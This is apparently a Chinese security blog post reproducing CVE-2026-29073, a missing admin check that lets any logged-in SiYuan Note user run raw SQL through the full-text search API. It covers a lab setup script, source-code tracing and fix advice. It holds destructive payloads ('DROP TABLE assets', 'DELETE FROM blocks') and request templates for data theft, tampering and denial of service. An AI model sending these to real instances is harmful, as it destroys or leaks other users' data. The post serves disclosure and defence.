SiYuan SQL漏洞 | CVE-2026-29073复现&研究

0x0 背景介绍

SiYuan(思源笔记)是一款开源的个人知识管理系统,支持细粒度的隐私控制。

在3.6.0之前的版本中,系统的SQL接口存在权限校验漏洞。虽然该接口检查了用户的登录状态(Basic Auth),但未对执行SQL的管理员权限进行二次验证。任何已登录的用户(即使仅拥有最低级别的读者权限)都可以通过该接口向数据库直接发送并执行任意SQL查询,导致系统内存储的笔记数据被泄露、篡改或彻底删除。

0x1 环境搭建(Ubuntu24)

1.1-Ubuntu24+Docker搭建配置

  • 另存为install.sh运行
bash 复制代码
#!/bin/bash

# ==========================================
# 思源笔记 (SiYuan Note) 一键部署脚本 (纯净版)
# 版本: v3.6.0 (含权限校验漏洞版本,仅用于安全研究)

set -e

# --- 配置区域 (可自定义) ---
PROJECT_DIR="$HOME/siyuan-note"
CONTAINER_NAME="siyuan-note"
IMAGE_VERSION="b3log/siyuan:v3.6.0"
HOST_PORT="6806"
CONTAINER_PORT="6806"
TIMEZONE="Asia/Shanghai"

# 默认密码
DEFAULT_PASSWORD="MySuperSecretRootPassword2026!"
# 运行用户 ID (通常不需要改,除非宿主机用户 ID 不是 1000)
RUN_UID=1000
RUN_GID=1000

echo "=============================================="
echo "  思源笔记 (SiYuan Note) 一键部署脚本"
echo "  目标版本: ${IMAGE_VERSION}"
echo "  (注:此版本存在 CVE-2026-29073 SQL 注入漏洞)"
echo "=============================================="

# 阶段 0: 检查依赖
echo "[*] 阶段 0/5:检查环境依赖..."
if ! command -v docker &> /dev/null; then
    echo "[x] 未检测到 Docker,请先安装 Docker"
    exit 1
fi
if ! command -v docker compose &> /dev/null && ! docker compose version &> /dev/null; then
    if command -v docker-compose &> /dev/null; then
        alias docker compose="docker-compose"
        echo "[*] 检测到旧版 docker-compose,已兼容处理"
    else
        echo "[x] 未检测到 Docker Compose,请先安装"
        exit 1
    fi
fi
echo "[+] Docker 环境检查通过"

# 阶段 1: 创建目录
echo "[*] 阶段 1/5:创建工作目录..."
mkdir -p "${PROJECT_DIR}"/{workspace,backups}
cd "${PROJECT_DIR}" || { echo "[x] 进入目录失败"; exit 1; }
echo "[+] 工作目录: $(pwd)"

# 阶段 2: 生成配置文件
echo "[*] 阶段 2/5:生成配置文件 (.env & docker-compose.yml)..."

# 生成 .env
cat > .env <<EOF
# 思源笔记访问密码/auth code 
SIYUAN_PASSWORD=${DEFAULT_PASSWORD}
# 运行用户 ID
PUID=${RUN_UID}
PGID=${RUN_GID}
EOF

# 生成 docker-compose.yml
cat > docker-compose.yml <<EOF
version: '3'

services:
  siyuan:
    image: ${IMAGE_VERSION}
    container_name: ${CONTAINER_NAME}
    restart: unless-stopped

    ports:
      - "${HOST_PORT}:${CONTAINER_PORT}"

    volumes:
      - ./workspace:/siyuan/workspace
      - ./backups:/siyuan/backups

    environment:
      - TZ=${TIMEZONE}
      - PUID=\${PUID}
      - PGID=\${PGID}
      - SIYUAN_ACCESS_AUTH_CODE=\${SIYUAN_PASSWORD}

    # 资源限制 (可选)
    deploy:
      resources:
        limits:
          memory: 1G
          cpus: '1.0'
EOF

echo "[+] 配置文件生成完毕"

# 阶段 3: 修正权限 (关键步骤)
echo "[*] 阶段 3/5:修正目录权限..."
# 确保当前用户拥有目录所有权,避免容器内 UID 1000 无法写入
chown -R $(id -u):$(id -g) ./workspace ./backups
chmod -R 755 ./workspace ./backups
echo "[+] 权限设置完成 (所有者: $(whoami))"

# 阶段 4: 启动服务
echo "[*] 阶段 4/5:启动 Docker 容器..."
docker compose up -d

echo "[*] 等待服务初始化 (约 15 秒)..."
for i in {1..6}; do
    echo -n "."
    sleep 2.5
done
echo ""

# 阶段 5: 健康检查
echo "[*] 阶段 5/5:检查服务状态..."

# 检查容器是否运行
if [ "$(docker inspect -f '{{.State.Running}}' ${CONTAINER_NAME} 2>/dev/null)" != "true" ]; then
    echo "[x] 容器启动失败!请查看日志:"
    docker logs --tail 20 ${CONTAINER_NAME}
    exit 1
fi

# 检查日志中是否包含成功标志
MAX_WAIT=30
COUNT=0
while [ $COUNT -lt $MAX_WAIT ]; do
    if docker logs ${CONTAINER_NAME} 2>&1 | grep -q "kernel booted"; then
        break
    fi
    sleep 1
    COUNT=$((COUNT+1))
done

if [ $COUNT -ge $MAX_WAIT ]; then
    echo "[!] 警告:未在 ${MAX_WAIT} 秒内检测到 'kernel booted',但容器正在运行。"
    echo "    可能是首次启动索引重建较慢,请稍后检查日志。"
else
    echo "[+] 服务内核启动成功!"
fi

# 获取本地 IP
LOCAL_IP=$(hostname -I | awk '{print $1}')

echo "=============================================="
echo "  思源笔记部署完成!"
echo "=============================================="
echo "  访问地址:"
echo "     局域网: http://${LOCAL_IP}:${HOST_PORT}"
echo "     本地:   http://localhost:${HOST_PORT}"
echo ""
echo "  初始密码/auth code:"
echo "     ${DEFAULT_PASSWORD}"
echo "     (提示:请编辑 .env 文件修改密码并重启容器以保障安全)"
echo ""
echo "  数据位置:"
echo "     ${PROJECT_DIR}/workspace"
echo "     ${PROJECT_DIR}/backups"
echo ""
echo "  ⚠️  安全提醒:"
echo "     此版本 (v3.6.0) 存在 CVE-2026-29073 漏洞"
echo "     普通用户可通过 /api/search/fullTextSearchBlock 接口执行任意 SQL"
echo "     请仅在隔离环境用于安全测试,勿用于生产环境!"
echo ""
echo "  常用命令:"
echo "     查看日志:docker logs -f ${CONTAINER_NAME}"
echo "     重启服务:docker compose restart"
echo "     停止服务:docker compose down"
echo "=============================================="

0x2 漏洞复现

2.1-脚本验证

  • python验证
bash 复制代码
https://github.com/Kai-One001/cve-/blob/main/SiYuan-CVE-2026-29073.py

2.2-手动验证

  • 场景 A:数据泄露 (SELECT)

  • 场景 B:内容破坏 (INSERT)

  • 场景 C:服务可用性被摧毁 (DROP TABLE)

原理概念

bash 复制代码
{
"method":2,
"query":"DROP TABLE assets",
"page":1,
"pageSize":10
}
  • 后果: assets表被删除,导致图片上传、附件管理等功能彻底失效,系统日志报错刷屏。
bash 复制代码
{
"method":2,
"query":"DELETE FROM blocks",
"page":1,
"pageSize":10
}
  • 后果: 执行后,前端所有笔记内容瞬间消失,且无法通过常规手段恢复(除非有本地备份)。

  • 2.4 场景 D:跨表敏感数据读取(任意表"伪装为块"泄露)

此前 PoC 仅演示了对blocks表的直接读取。结合源码可以发现,/api/search/fullTextSearchBlock在SQL模式下,会把任意 SQL 结果强行映射为Block结构(scanBlockRows 依次 Scan 21 个字段),然后再返回给前端。
这意味着:只要攻击者构造出一条"列数量和类型上可以被Block结构接收"的 SELECT,就可以把任意业务表的数据(例如用户信息表、附件元数据表、权限/分享策略表中的敏感字段)注入到某些块字段中(如 content、memo、alias 等),从而"披着块的皮"返回到接口响应里,实现跨表敏感数据泄露。

HTTP 流量示例(概念)

bash 复制代码
POST /api/search/fullTextSearchBlock HTTP/1.1
Host:<目标主机>:<端口>
Content-Type: application/json
Cookie: siyuan=<普通用户Session>

{
    "method": 2,
    "query": "<构造为:SELECT ... FROM 目标敏感表/视图,通过子查询/表达式填充成 Block 结构的列>",
    "page": 1,
    "pageSize": 10
}
  • 不再局限于blocks内容本身,而是可以读取数据库中任意业务表的敏感信息,包括但不限于用户账号信息、共享/访问控制策略、附件/资源定位信息等

  • 由于返回结构仍然是blocks,这类泄露在日志/审计层面不易与普通搜索流量区分,增加排查难度

  • 2.5 场景 E:解析降级导致的写操作执行(DELETE/UPDATE/INSERT/DROP)
    searchBySQL 最终调用的是 sql.SelectBlocksRawStmt,其核心逻辑为:

bash 复制代码
•优先尝试用 sqlparser.Parse(stmt) 解析 SQL;
•若解析失败(err != nil),则直接调用 selectBlocksRawStmt(stmt, limit),内部对 stmt 原样调用底层query(stmt)
•对于解析成功但 AST 类型不是 SELECT/UNION 的情况,则直接 return(不执行)。
结合这一逻辑,可以得出结论:
  • 若攻击者构造一条在 SQLite 中合法可执行,但当前 sqlparser 无法正确解析的 SQL 语句(例如使用特定方言/语法特性),就会触发"解析失败 → 降级直接执行"的路径;
  • 在该路径下,即使语句是 DELETE/UPDATE/INSERT/DROP 等写操作,底层数据库仍会实际执行,只是由于- 结果集无法映射为 Block 结构,接口可能返回空数组或不含数据。
    HTTP 流量示例(结构模板)
bash 复制代码
POST /api/search/fullTextSearchBlock HTTP/1.1
Host: <目标主机>:<端口>
Content-Type: application/json
Cookie: siyuan=<普通用户Session>

{
    "method": 2,
    "query": "<利用 SQLite 支持但当前 sqlparser 难以解析的写操作 SQL,用于在测试环境中对测试表/测试记录做最小破坏验证>",
    "page": 1,
    "pageSize": 10
}
  • 攻击者不再只是"理论上能写",而是可以在一定条件下实际删改任意表中的记录、结构甚至整表;

  • 这类写操作难以从接口返回中直接感知,容易在无声无息中完成数据破坏或后门植入。

  • 2.6 场景 F:持久化篡改与二次受害(影响其他用户)

    在确认写操作可行后,攻击者可以针对 blocks 表本身发起更具"传播性"的篡改。例如:

bash 复制代码
//我测没有成功,可能疏忽哪里了
•通过任意 SQL 改写指定文档、指定块的 content / memo / alias 等字段,使其加入恶意内容(诱导链接、伪造提示信息等);
•或修改块的元数据(如路径、标签、名称),干扰后续正常使用与检索。
由于 blocks 是前端渲染的核心数据源,上述篡改将具备以下特征:

•在后续任意访问该文档/块的场景中被呈现;
对所有拥有访问权限的用户可见,而不仅限于当前用户。

HTTP 流量示例

bash 复制代码
POST /api/search/fullTextSearchBlock HTTP/1.1
Host: <目标主机>:<端口>
Content-Type: application/json
Cookie: siyuan=<普通用户Session>

{
    "method": 2,
    "query": "<针对 blocks 表的 UPDATE/INSERT 等写操作,用于在测试环境中对某个测试文档块内容进行特征化改写>",
    "page": 1,
    "pageSize": 10
}

可能的建议:

  • 在测试环境创建一篇"测试文档",记录其某个块的 id;
  • 使用 SQL 模式对该块的内容或元数据做"打标签式"改写(例如增加明显的测试标记字符串);
  • 使用:
    •同一账号;
    •另一个普通账号;
    •如有,公开访问码访问; 分别打开该文档,确认所有访问路径下都呈现了改写后的内容。
  • 攻击者可以对现有文档进行持久化篡改,影响范围覆盖所有合法访问者,形成典型的"二次受害";
  • 若篡改内容包含钓鱼链接、伪造指引等,将进一步放大社会工程学攻击成功率;
  • 对于依赖笔记内容进行自动化处理/同步的场景,还可能引入下游系统的风险。
  • 2.7 场景 G:复杂查询导致的性能退化与拒绝服务
    如果你只想增加危害,可以尝试DOS:
bash 复制代码
•利用 SQL 模式构造高复杂度查询(大范围全表扫描、多表 JOIN、大量模糊匹配等),在未做资源/超时限制的情况下,可能显著拉高 CPU/IO/内存占用;
•即使不删库,只通过不断触发该接口即可对服务形成"慢性拒绝服务"攻击;
•可通过记录接口响应时间、服务器日志中的 SQL 耗时等指标来给出客观证据。

2.3-复现流量特征 (PCAP)

  • 获取认证后进行SQL查询

  • INSERT操作

  • 查询成功,不过没在WEB找到(另外响应体是正常的,我这看的是TCP流量,应该是HTTP)

0x3 漏洞原理分析

3.1- [路由守卫] 被遗忘的关卡:当搜索遇上 SQL

我这边追踪起点是Web框架的路由注册文件。在SiYuan的架构中,API接口的安全性很大程度上依赖于中间件链Middleware Chain的挂载。

首先,定位到 kernel/api/router.go。在这里,可以看到了两个看似功能相似,但不同的接口定义:
受保护的 SQL 查询接口 (基准线):

go 复制代码
// kernel/api/router.go Line 177
ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, SQL)
  • 要访问此接口,请求必须依次通过三道关卡:
bash 复制代码
•CheckAuth: 确认用户已登录。
•CheckAdminRole: 关键! 强制要求用户必须是管理员。
•CheckReadonly: 确保当前不是只读模式(防止写操作)。
•只有同时满足这三个条件,SQL 函数才会被执行。

失守的搜索接口 (漏洞点):

go 复制代码
// kernel/api/router.go Line 188
ginServer.Handle("POST", "/api/search/fullTextSearchBlock", model.CheckAuth, fullTextSearchBlock)
  • 这里出现了很经典的"防御缺口"。可能觉得这只是一个"搜索"功能,因此只挂载了CheckAuth。
  • 不过,往往都有是开发的疏忽导致意想不到的结果,忽略了这个搜索功能,只要用户登录(哪怕是Reader角色),就能直入调用fullTextSearchBlock函数。
  • 这是第一道防线的崩塌:权限校验的粒度与内部功能的危险程度严重不匹配。

3.2- [逻辑黑洞] 危险的"方法":信任边界的彻底瓦解

  • 进fullTextSearchBlock函数 (kernel/api/search.go) 后,我们继续追踪数据流向。代码解析了前端传来的参数,其中关注到这method字段。
go 复制代码
// kernel/api/search.go Line 389-411
func fullTextSearchBlock(c *gin.Context) {
    // ... 参数解析 ...
    page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg)


    // 核心调用:将用户控制的 method 和 query 直接传入模型层
    blocks, matchedBlockCount, matchedRootCount, pageCount, docMode :=
        model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)
    // ...

}

小知识课堂:

注意函数名前面的model.前缀。在Go语言中,这表示调用的是名为model 的包(Package)中的函数,被调用的函数名是 FullTextSearchBlock核心逻辑就是 model 包里(PS:IDE可以直接:鼠标按住 Ctrl (或 Cmd) 点击 model.FullTextSearchBlock跳转)

  • 接着,我们深入到kernel/model/search.go中的FullTextSearchBlock实现。在这里,逻辑发生了分叉:
go 复制代码
// kernel/model/search.go Line 1205-1206
switch method {
case 0, 1:
    // 正常的全文检索逻辑,安全
    blocks = searchByKeyword(...) 
case 2: 
    // 当 method=2 时,直接进入 SQL 执行模式
    blocks, matchedBlockCount, matchedRootCount = searchBySQL(query, beforeLen, page, pageSize)
}
  • 这里的case 2是整个漏洞的逻辑核心。

  • 为了实现某种高级自定义搜索功能,允许传入原始SQL。但是,在这个分支内部,没有任何关于"当前用户是否有权执行SQL"的二次检查。

  • 盲目地信任了上游路由传来的请求,认为既然能进到这个函数,就是安全的。

3.3 [执行深渊] 裸奔的查询器:从字符串到数据库指令

  • 最后,我们来到了漏洞爆发的终点------searchBySQL函数 (kernel/model/search.go) 及其调用的底层驱动。
go 复制代码
// kernel/model/search.go Line 1460-1462
func searchBySQL(stmt string, beforeLen, page, pageSize int) (ret []*Block, ...) {
    stmt = strings.TrimSpace(stmt)
    // 直接将用户输入的 stmt 传递给底层执行器
    blocks := sql.SelectBlocksRawStmt(stmt, page, pageSize)
    // ...
}
  • 继续追踪到kernel/sql/block_query.go:
go 复制代码
// kernel/sql/block_query.go Line 566-569
func SelectBlocksRawStmt(stmt string, page, limit int) (ret []*Block) {
    parsedStmt, err := sqlparser.Parse(stmt)
    if err != nil {
        // 解析失败?没关系,降级处理,直接执行原始语句!
        return selectBlocksRawStmt(stmt, limit) 
    }
    // ... (即使解析成功,后续逻辑也未做严格的只读限制)
}

// kernel/sql/block_query.go Line 713-714
func selectBlocksRawStmt(stmt string, limit int) (ret []*Block) {
    // 【最终爆发点】调用 Go 标准库 db.Query,执行任意 SQL
    rows, err := query(stmt) 
    // ...
}
  • 在kernel/sql/database.go中,query函数仅仅是Godatabase/sql 包的一层薄封装:
go 复制代码
// kernel/sql/database.go Line 1327-1337
func query(query string, args ...interface{}) (*sql.Rows, error) {
    // ...
    return db.Query(query, args...) // 这里是 SQLite 执行的绝对入口
}
  • 至此,链路完全打通

  • 输入无过滤:用户的query 参数未经过任何白名单校验。

  • 解析可绕过:即使有sqlparser,代码逻辑在解析失败时选择了"降级执行",这让攻击者可以通过构造特殊语法-绕过解析检查。

  • 执行无限制:最终调用的db.Query是通用的SQL执行器,它不区分SELECT还是DROP。

在 SQLite中,db.Query甚至可以执行 DELETE和UPDATE(尽管通常推荐用 Exec,但在某些驱动实现或特定上下文中,副作用依然会发生,或者攻击者利用db.Exec的类似调用路径)。

完整攻击链路总结:

bash 复制代码
A[攻击者: 携带Token 角色] -->|1. POST /api/search... method=2| B(路由层: router.go)
B -->|2. 缺失 CheckAdminRole | C{逻辑层: search.go}
C -->|3. switch case 2 | D[函数: searchBySQL]
D -->|4. 透传原始 SQL | E[驱动层: block_query.go]
E -->|5. 降级/直接执行 | F((SQLite 数据库))
F -->|6. 执行 DELETE/DROP | G[ 数据毁灭/泄露]

0x4 修复建议

  • 1、升级最新版本:将组件升级最新版本github-siyuan
  • 2、临时防护措施:
    反向代理拦截:在Nginx/Apache层直接禁止访问该特定接口
    网络隔离:确保思源笔记实例仅监听127.0.0.1,严禁暴露在公网或非受信局域网。
相关推荐
2501_945423542 小时前
工具、测试与部署
jvm·数据库·python
Oueii2 小时前
数据分析师的Python工具箱
jvm·数据库·python
TDengine (老段)2 小时前
TDengine IDMP 组态面板 —— 工具箱
大数据·数据库·时序数据库·tdengine·涛思数据
weixin_421922692 小时前
使用Scikit-learn进行机器学习模型评估
jvm·数据库·python
Liu628882 小时前
如何为开源Python项目做贡献?
jvm·数据库·python
烟花巷子2 小时前
使用Kivy开发跨平台的移动应用
jvm·数据库·python
不是株2 小时前
Redis(入门篇)
数据库·redis·缓存
2401_873204652 小时前
Python面向对象编程(OOP)终极指南
jvm·数据库·python